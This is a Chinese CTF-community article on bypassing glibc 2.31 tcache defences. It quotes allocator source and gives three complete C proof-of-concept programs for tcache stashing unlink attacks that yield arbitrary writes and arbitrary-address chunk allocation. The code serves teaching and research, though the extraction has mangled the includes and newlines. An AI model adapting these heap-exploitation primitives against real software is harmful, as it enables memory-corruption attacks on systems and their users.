作者:青橄榄 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
自从linux内核的glibc2.26引入Tcache机制以来,Double Free等攻击技术日益成熟完善。但是 随着glibc2.31的到来,防御机制获得提升,攻防博弈角色互换。2020CTF比赛中出现大量涉及最 新版本glibc下Tcache机制攻击题目,本文对如何绕过tcache防御机制进行了全面分析研究。
typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针,对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache
e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); //计数增加
}
size_t tc_idx = csize2tidx(size);
//只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在
tcache中了,所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/*
如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进
入循环,然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache))//关键比较
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
#include#include#includeuint64_t victim = 0;
int main() {
int i;
void *p, *q, *padding;
fprintf(stderr, "You can use this technique to write a big number to arbitrary
address instead of unsortedbin attackn");
fprintf(stderr, "n1. need to know heap address and the victim address that you
need to attackn");
p = malloc(0x18);
fprintf(stderr, "[+] victim's address => %p, victim's vaule => 0x%lxn",
&victim, victim);
fprintf(stderr, "[+] heap address => %pn", (uint64_t)p - 0x260);
fprintf(stderr, "n2. choose a stable size and free six identical size chunks
to tcache_entry listn"); fprintf(stderr, "Here, I choose 0x60n");
for (i = 0; i < 6; i++) {
p = calloc(1, 0x58);
free(p);
}
fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->
%p --> %pn",
p, (uint64_t)p - 0x60, (uint64_t)p - 0x60 * 2, (uint64_t)p - 0x60 * 3,
(uint64_t)p - 0x60 * 4, (uint64_t)p - 0x60 * 5);
fprintf(stderr, "n3. free two chunk with the same size like tcache_entry into
the corresponding smallbinn");
p = malloc(0x428);
fprintf(stderr, "Alloc a chunk %p, whose size is beyond tcache size
thresholdn", p);
padding = malloc(0x28);
fprintf(stderr, "Alloc a padding chunk, avoid %p to merge to top chunkn", p);
free(p);
fprintf(stderr, "Free chunk %p to unsortedbinn", p);
malloc(0x428 - 0x60);
fprintf(stderr, "Alloc a calculated size, make the rest chunk size in
unsortedbin is 0x60n");
malloc(0x108);
fprintf(stderr, "Alloc a chunk whose size is larger than rest chunk size in
unsortedbin, that will trigger chunk to other bins like smallbinsn");
fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)p
+ 0x3c0);
fprintf(stderr, "Repeat the above steps, and free another chunk into
corresponding smallbinn");
fprintf(stderr, "A little difference, notice the twice pad chunk size must be
larger than 0x60, or you will destroy first chunk in smallbin[4]n");
q = malloc(0x428);
padding = malloc(0x88);
free(q);
malloc(0x3c8);
malloc(0x108);
fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)q
+ 0x3c0);
fprintf(stderr, "smallbin[4] list is %p <--> %pn", (uint64_t)p + 0x3c0,
(uint64_t)q + 0x3c0);
fprintf(stderr, "n4. overwrite the first chunk in smallbin[4]'s bk pointer to
&victim-0x10 address, the first chunk is smallbin[4]->fdn");
fprintf(stderr, "Change %p's bk pointer to &victim-0x10 address: 0x%lxn",
(uint64_t)q + 0x3c0, (uint64_t)(&victim) - 0x10);
*(uint64_t *)((uint64_t)q + 0x3c0 + 0x18) = (uint64_t)(&victim) - 0x10;
printf("n5. use calloc to apply to smallbin[4], it will trigger stash
mechanism in smallbin.n");
calloc(1, 0x58);
printf("Finally, the victim's value is changed to a big numbern");
printf("Now, victim's value => 0x%lxn", victim);
return 0;
}
#include#include#includestatic uint64_t victim[4] = {0, 0, 0, 0};
int main() {
int i;
void *p, *q, *r, *padding;
fprintf(stderr, "You can use this technique to get a tcache chunk to arbitrary
addressn");
fprintf(stderr, "n1. need to know heap address and the victim address that you
need to attackn");
p = malloc(0x18);
fprintf(stderr, "[+] victim's address => %p, victim's vaule => [0x%lx, 0x%lx,
0x%lx, 0x%lx]n",
&victim, victim[0], victim[1], victim[2], victim[3]);
fprintf(stderr, "[+] heap address => %pn", (uint64_t)p - 0x260);
fprintf(stderr, "n2. change victim's data, make victim[1] = &victim, or other
address to writable addressn");
victim[1] = (uint64_t)(&victim);
fprintf(stderr, "victim's vaule => [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",
victim[0], victim[1], victim[2], victim[3]);
fprintf(stderr, "n3. choose a stable size and free five identical size chunks
to tcache_entry listn");
fprintf(stderr, "Here, I choose the size 0x60n");
for (i = 0; i < 5; i++){
r = calloc(1, 0x58);
free(r);
}
fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->
%pn",
r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 * 2, (uint64_t)r - 0x60 * 3,
(uint64_t)r - 0x60 * 4);
fprintf(stderr, "n4. free two chunk with the same size like tcache_entry into
the corresponding smallbinn");
p = malloc(0x428);
fprintf(stderr, "Alloc a chunk %p, whose size is beyond tcache size
thresholdn", p);
padding = malloc(0x28);
fprintf(stderr, "Alloc a padding chunk, avoid %p to merge to top chunkn", p);
free(p);
fprintf(stderr, "Free chunk %p to unsortedbinn", p);
malloc(0x3c8);
fprintf(stderr, "Alloc a calculated size, make the rest chunk size in
unsortedbin is 0x60n");
malloc(0x108);
fprintf(stderr, "Alloc a chunk whose size is larger than rest chunk size in
unsortedbin, that will trigger chunk to other bins like smallbinsn");
fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)p
+ 0x3c0);
fprintf(stderr, "Repeat the above steps, and free another chunk into
corresponding smallbinn");
fprintf(stderr, "A little difference, notice the twice pad chunk size must be
larger than 0x60, or you will destroy first chunk in smallbin[4]n");
q = malloc(0x428);
padding = malloc(0x88);
free(q);
malloc(0x3c8);
malloc(0x108);
fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)q
+ 0x3c0);
fprintf(stderr, "smallbin[4] list is %p <--> %pn", (uint64_t)q + 0x3c0,
(uint64_t)p + 0x3c0);
fprintf(stderr, "n5. overwrite the first chunk in smallbin[4]'s bk pointer to
&victim-0x10 address, the first chunk is smallbin[4]->fdn");
fprintf(stderr, "Change %p's bk pointer to &victim-0x10 address: 0x%lxn",
(uint64_t)q + 0x3c0, (uint64_t)(&victim) - 0x10);
*(uint64_t *)(q + 0x3c0 + 0x18) = (uint64_t)(&victim) - 0x10;
fprintf(stderr, "n6. use calloc to apply to smallbin[4], it will trigger stash
mechanism in smallbin.n");
calloc(1, 0x58);
fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->
%p --> %p --> %pn",
&victim, (uint64_t)q + 0x3d0, r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 *
2, (uint64_t)r - 0x60 * 3, (uint64_t)r - 0x60 * 4);
printf("Apply to tcache_entry[4], you can get a pointer to victim addressn");
p = malloc(0x58);
*(uint64_t *)((uint64_t)p) = 0xaa;
*(uint64_t *)((uint64_t)p + 0x8) = 0xbb;
*(uint64_t *)((uint64_t)p + 0x10) = 0xcc;
*(uint64_t *)((uint64_t)p + 0x18) = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",
victim[0], victim[1], victim[2], victim[3]);
return 0;
}
#include#include#includeuint64_t victim[4] = {0, 0, 0, 0};
uint64_t target = 0;
int main() {
int i;
void *p, *q, *r, *padding;
fprintf(stderr, "You can use this technique to get a tcache chunk to arbitrary
address, at the same time, write a big number to arbitrary addressn");
fprintf(stderr, "n1. need to know heap address, the victim address that you
need to get chunk pointer and the victim address that you need to write a big
numbern");
p = malloc(0x18);
fprintf(stderr, "[+] victim's address => %p, victim's vaule => [0x%lx, 0x%lx,
0x%lx, 0x%lx]n",
&victim, victim[0], victim[1], victim[2], victim[3]);
fprintf(stderr, "[+] target's address => %p, target's value => 0x%lxn",
&target, target);
fprintf(stderr, "[+] heap address => %pn", (uint64_t)p - 0x260);
fprintf(stderr, "n2. change victim's data, make victim[1] = &target-0x10n");
victim[1] = (uint64_t)(&target) - 0x10;
fprintf(stderr, "victim's vaule => [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",
victim[0], victim[1], victim[2], victim[3]);
fprintf(stderr, "n3. choose a stable size and free five identical size chunks
to tcache_entry listn");
fprintf(stderr, "Here, I choose 0x60n");
for (i = 0; i < 5; i++) {
r = calloc(1, 0x58);
free(r);
}
fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->
%pn"
r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 * 2, (uint64_t)r - 0x60 * 3,
(uint64_t)r - 0x60 * 4);
fprintf(stderr, "n4. free two chunk with the same size like tcache_entry into
the corresponding smallbinn");
p = malloc(0x428);
fprintf(stderr, "Alloc a chunk %p, whose size is beyond tcache size
thresholdn", p);
padding = malloc(0x28);
fprintf(stderr, "Alloc a padding chunk, avoid %p to merge to top chunkn", p);
free(p);
fprintf(stderr, "Free chunk %p to unsortedbinn", p);
malloc(0x3c8);
fprintf(stderr, "Alloc a calculated size, make the rest chunk size in
unsortedbin is 0x60n");
malloc(0x108);
fprintf(stderr, "Alloc a chunk whose size is larger than rest chunk size in
unsortedbin, that will trigger chunk to other bins like smallbinsn");
fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)p
+ 0x3c0);
fprintf(stderr, "Repeat the above steps, and free another chunk into
corresponding smallbinn");
fprintf(stderr, "A little difference, notice the twice pad chunk size must be
larger than 0x60, or you will destroy first chunk in smallbin[4]n");
q = malloc(0x428);
padding = malloc(0x88);
free(q);
malloc(0x3c8);
malloc(0x108);
fprintf(stderr, "chunk %p is in smallbin[4], whose size is 0x60n", (uint64_t)q
+ 0x3c0);
fprintf(stderr, "smallbin[4] list is %p <--> %pn", (uint64_t)q + 0x3c0,
(uint64_t)p + 0x3c0);
fprintf(stderr, "n5. overwrite the first chunk in smallbin[4]'s bk pointer to
&victim-0x10 address, the first chunk is smallbin[4]->fdn");
fprintf(stderr, "Change %p's bk pointer to &victim-0x10 address => 0x%lxn",
(uint64_t)q + 0x3c0, (uint64_t)(&victim) - 0x10);
*(uint64_t *)((uint64_t)q + 0x3c0 + 0x18) = (uint64_t)(&victim) - 0x10;
fprintf(stderr, "n6. use calloc to apply to smallbin[4], it will trigger stash
mechanism in smallbin.n");
calloc(1, 0x58);
fprintf(stderr, "Now, the tcache_entry[4] list is %p --> %p --> %p --> %p -->
%p --> %p --> %pn",
&victim, (uint64_t)q + 0x3d0, r, (uint64_t)r - 0x60, (uint64_t)r - 0x60 *
2, (uint64_t)r - 0x60 * 3, (uint64_t)r - 0x60 * 4);
fprintf(stderr, "Apply to tcache_entry[4], you can get a pointer to victim
addressn");
p = malloc(0x58);
*(uint64_t *)((uint64_t)p) = 0xaa;
*(uint64_t *)((uint64_t)p + 0x8) = 0xbb;
*(uint64_t *)((uint64_t)p + 0x10) = 0xcc;
*(uint64_t *)((uint64_t)p + 0x18) = 0xdd;
fprintf(stderr, "victim's vaule => [0x%lx, 0x%lx, 0x%lx, 0x%lx]n",
victim[0], victim[1], victim[2], victim[3]);
fprintf(stderr, "target's value => 0x%lxn", target);
return 0;
}
2019-HITCON-one_punch_man(tcache stashing unlink attack)
2019-HITCON-lazyhouse(tcache stashing unlink attack plus)
2020-XCTF-GXZY-twochunk(tcache stashing unlink attack plus plus)
本文始发于微信公众号(白帽子社区):Glibc2.31下Tcache机制攻击总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论